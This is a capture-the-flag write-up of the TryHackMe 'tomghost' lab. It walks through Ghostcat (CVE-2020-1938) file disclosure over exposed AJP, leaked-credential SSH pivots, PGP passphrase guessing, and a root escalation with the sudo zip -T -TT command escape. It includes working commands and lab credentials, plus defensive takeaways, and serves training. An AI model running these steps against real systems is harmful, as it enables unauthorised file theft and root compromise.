Tomghost
Chain exposed AJP on Tomcat 9.0.30 into Ghostcat file disclosure, pivot
from leaked application credentials into SSH access, then abuse
sudo zip to recover the root flag.
Scope & Ethics #
This writeup covers the TryHackMe tomghost room inside a legal
training environment. The techniques here belong in labs, CTFs, and
systems where you have explicit authorization.
- Use the workflow to sharpen exploitation habits, not to target real systems.
- Prefer methodical service-driven reasoning over brute-force behavior.
- Keep the goal narrow: prove the chain, recover the flags, explain why it worked.
Objective #
Compromise the target, recover user.txt, escalate privileges, and
recover root.txt through a reproducible chain grounded in exposed
services, version evidence, and local privilege boundaries.
When service versions and exposed management protocols line up with a known vulnerability, a short targeted exploit path beats noisy brute force every time.
Executive Overview #
This room is a compact but instructive chain built around three ideas:
version-aware reconnaissance, Tomcat AJP file disclosure through
Ghostcat, and Linux privilege escalation through sudo zip.
The target exposed the following services:
22/tcp - SSH
8009/tcp - AJP13
8080/tcp - Apache Tomcat 9.0.30
That combination immediately suggests a high-value hypothesis:
Exposed AJP + Tomcat 9.0.30 = likely Ghostcat (CVE-2020-1938)
Instead of spending time on password spraying or blind Tomcat guessing,
the clean path was to read internal Tomcat files, extract credentials,
pivot through SSH, unlock PGP-protected credential material, and finish
with a straightforward sudo abuse.
Learning Objectives #
- Read an Nmap scan and prioritize the most promising attack path.
- Recognize when Tomcat plus exposed AJP strongly suggests Ghostcat.
- Explain why
CVE-2020-1938matters and what it exposes. - Use a minimal AJP proof of concept to read internal webapp files.
- Treat
WEB-INF/web.xmlas a high-value target. - Pivot from leaked application secrets into SSH access.
- Handle PGP-protected credential material during post-exploitation.
- Recognize and exploit
sudo zipas a privilege escalation vector.
Workflow #
[Nmap Service Recon]
|
v
[Tomcat 9.0.30 + AJP 8009 Exposed]
|
v
[Hypothesis: Ghostcat / CVE-2020-1938]
|
v
[Use AJP PoC to Read WEB-INF/web.xml]
|
v
[Recover skyfuck Credentials]
|
v
[SSH as skyfuck]
|
v
[Recover tryhackme.asc + credential.pgp]
|
v
[Recover merlin Credentials]
|
v
[SSH as merlin -> Read user.txt]
|
v
[sudo -l -> NOPASSWD: /usr/bin/zip]
|
v
[GTFOBins zip Escape -> Root]
Methodology #
1 · Initial Recon with Nmap
The Action
nmap -Pn -sC -sV -T4 --min-rate 1000 10.67.152.52
The Why
This gives a fast service map with banners, versions, and script-level detail. On an easy room, that is often enough to expose the intended path without extra noise.
The Findings
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
53/tcp open tcpwrapped
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 9.0.30
The combination of exposed AJP on 8009 and Tomcat
9.0.30 sharply narrows the plan. This is not a generic
web-enumeration box anymore. It is a likely Ghostcat host.
2 · Validate the HTTP Surface
The Action
curl -I http://10.67.152.52:8080
curl http://10.67.152.52:8080
curl -I http://10.67.152.52:8080/manager/html
curl -I http://10.67.152.52:8080/host-manager/html
curl -I http://10.67.152.52:8080/examples/
The Findings
/returned the stock Tomcat landing page./manager/htmlreturned403./host-manager/htmlreturned403./examples/returned200.
The Why
The HTTP surface confirms this is a mostly stock Tomcat install with
example content still present. That makes protected internal resources
like WEB-INF/web.xml especially attractive Ghostcat targets.
3 · Understand Ghostcat (CVE-2020-1938)
AJP is a binary protocol commonly used between Apache HTTPD and Tomcat. In a safe deployment it should be internal only. Ghostcat abuses Tomcat's trust in AJP peers: if an attacker can speak AJP directly, they can manipulate include-related request attributes and make Tomcat disclose protected files from deployed web applications.
- Most common use case: reading files such as
WEB-INF/web.xml. - Impact grows if sensitive configuration or credentials are present.
- The room hint about reading files you should not access fits this vulnerability exactly.
Files under WEB-INF are real, sensitive, and not meant to be
directly downloadable over HTTP. Reading one is strong proof of a
boundary failure inside the servlet container.
4 · Build and Use a Minimal Ghostcat PoC
The Goal
Keep the exploit path small: speak AJP directly, send a crafted
FORWARD_REQUEST, inject include attributes, and print the file
content Tomcat returns.
Representative Command
python3 ghostcat.py 10.67.152.52 /WEB-INF/web.xml --webapp /
Critical Attribute Set
javax.servlet.include.request_uri = /
javax.servlet.include.path_info = /WEB-INF/web.xml
javax.servlet.include.servlet_path = /
A minimal proof of concept is ideal here because it is transparent, dependency-light, and easier to reason about than a large framework.
5 · Read ROOT/WEB-INF/web.xml and Recover Initial Credentials
The Action
python3 ghostcat.py 10.67.152.52 /WEB-INF/web.xml --webapp /
The Findings
<description>
Welcome to GhostCat
skyfuck:8730281lkjlkjdqlksalks
</description>
This is the exact win condition Ghostcat is built for in labs: a file that should not be exposed externally leaks a credential that pivots directly into system access.
skyfuck : 8730281lkjlkjdqlksalks
6 · SSH as skyfuck
The Action
ssh skyfuck@10.67.152.52
The Findings
uid=1002(skyfuck) gid=1002(skyfuck) groups=1002(skyfuck)
Inside /home/skyfuck, two files stood out immediately:
credential.pgp and tryhackme.asc. That is a classic
sign that the room wants a second user pivot rather than a direct local
privesc from the first foothold.
7 · Pull the PGP Files and Inspect Them
The Action
scp skyfuck@10.67.152.52:/home/skyfuck/tryhackme.asc .
scp skyfuck@10.67.152.52:/home/skyfuck/credential.pgp .
gpg --show-keys tryhackme.asc
gpg --list-packets tryhackme.asc
gpg --list-packets credential.pgp
The Findings
uid tryhackme <stuxnet@tryhackme.com>
iter+salt S2K, algo: 9, SHA1 protection
gpg: encrypted with ELG key, ID 61E104A66184FBCC
The secret key material is present, but it is protected by a passphrase. That means the next task is not exploitation of crypto itself, but recovery of a weak passphrase.
8 · Recover the PGP Passphrase Efficiently
In a fuller cracking environment, the generic route would be:
gpg2john tryhackme.asc > gpg.hash
john gpg.hash --wordlist=/usr/share/wordlists/rockyou.txt
Since gpg2john was not available locally, a small hypothesis-driven
candidate set was faster and better aligned with the room.
for p in stuxnet tryhackme tomcat ghostcat skyfuck merlin alexandru; do
GNUPGHOME="$PWD/.gnupg-test" gpg --batch --yes --pinentry-mode loopback \
--passphrase "$p" -d credential.pgp
done
9 · Decrypt credential.pgp and Recover merlin Credentials
The Action
gpg --batch --yes --pinentry-mode loopback --passphrase alexandru -d credential.pgp
The Findings
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
This is the clean pivot into the intended user-level account for the second half of the room.
10 · SSH as merlin and Recover user.txt
The Action
ssh merlin@10.67.152.52
cat /home/merlin/user.txt
At this point the normal next move is privilege enumeration, so
sudo -l becomes the highest-value command on the host.
11 · Enumerate sudo Rights
The Action
sudo -l
The Findings
User merlin may run the following commands on ubuntu:
(root : root) NOPASSWD: /usr/bin/zip
This is immediately interesting because zip is not a harmless
compression tool under sudo. It can be coerced into executing an
arbitrary command during archive testing.
12 · Privilege Escalation with sudo zip
The Technique
zip supports test mode with a custom test command:
-T tests an archive, and -TT replaces the helper
command used during that test. Under sudo, the helper runs as
root as well.
The Command
TF=$(mktemp -u)
sudo zip "$TF" /etc/hosts -T -TT 'sh -c "id; cat /root/root.txt" #'
The Findings
uid=0(root) gid=0(root) groups=0(root)
THM{Z1P_1S_FAKE}
Full Solve Chain #
Nmap identifies Tomcat 9.0.30 and exposed AJP on 8009
->
Ghostcat suspected
->
Read /WEB-INF/web.xml from root webapp
->
Recover skyfuck credentials
->
SSH as skyfuck
->
Recover tryhackme.asc and credential.pgp
->
Recover passphrase alexandru
->
Decrypt merlin credentials
->
SSH as merlin
->
Read user.txt
->
sudo -l shows NOPASSWD: /usr/bin/zip
->
Abuse zip test helper as root
->
Read root.txt
Deep Dives #
Why the PoC Worked
The exploit works because the AJP connector assumes it is talking to a trusted front-end. By supplying the servlet include attributes directly, the attacker can influence how Tomcat resolves internal resources inside the selected webapp context.
| Attribute | Purpose |
|---|---|
javax.servlet.include.request_uri |
Provides the baseline request context Tomcat expects. |
javax.servlet.include.path_info |
Points Tomcat at the internal file to include. |
javax.servlet.include.servlet_path |
Completes the internal include resolution path. |
Under normal HTTP access, WEB-INF resources are not directly
downloadable. That is exactly why reading one is such strong proof of
exploitation.
How the Local ghostcat.py PoC Was Structured
pack_string()encoded AJP strings into Tomcat's binary wire format.build_forward_request()created a believable proxied request with crafted attributes.recv_packet()andrecv_exact()parsed AJP response frames safely.read_file()reassembled body chunks and printed the disclosed file.
A small protocol-aware proof of concept teaches the underlying trust boundary failure much better than blindly running a larger exploit pack.
Root Cause Summary #
- Tomcat 9.0.30 exposed a vulnerable AJP connector on
8009. WEB-INF/web.xmlcontained plaintext credentials inside application configuration.skyfuckstored sensitive PGP-encrypted material protected by a weak passphrase.merlincould run/usr/bin/zipas root without a password.
Defensive Takeaways #
For Tomcat Administrators
- Do not expose AJP externally.
- Upgrade Tomcat when vulnerable versions are in use.
- Restrict AJP to trusted internal peers only.
- Require explicit secure connector configuration.
For Developers
- Do not store plaintext credentials in descriptors or config comments.
- Treat deployment descriptors as sensitive artifacts.
For System Administrators
- Audit
sudorules for helper-capable or shell-capable binaries. - Avoid
NOPASSWDaccess to utilities with execution escape paths.
For Analysts and Learners
- Let service and version evidence drive the attack path.
- Prefer short hypothesis-driven solves over noisy brute force.
- When you see Tomcat plus AJP, think about Ghostcat immediately.
Short Answer Version #
- Scan the target and notice AJP on
8009plus Tomcat9.0.30. - Use Ghostcat to read
ROOT/WEB-INF/web.xml. - Recover
skyfuck:8730281lkjlkjdqlksalks. - SSH as
skyfuckand copytryhackme.ascpluscredential.pgp. - Recover the passphrase
alexandruand decryptcredential.pgp. - SSH as
merlinand readuser.txt. - Use
sudo zip ... -T -TT 'sh -c "cat /root/root.txt" #'to read the root flag.
Final Answers #
The room is short, but the lessons are durable: infrastructure trust
mistakes can bypass application controls entirely, and seemingly
boring utilities become dangerous the moment they cross privilege
boundaries under sudo.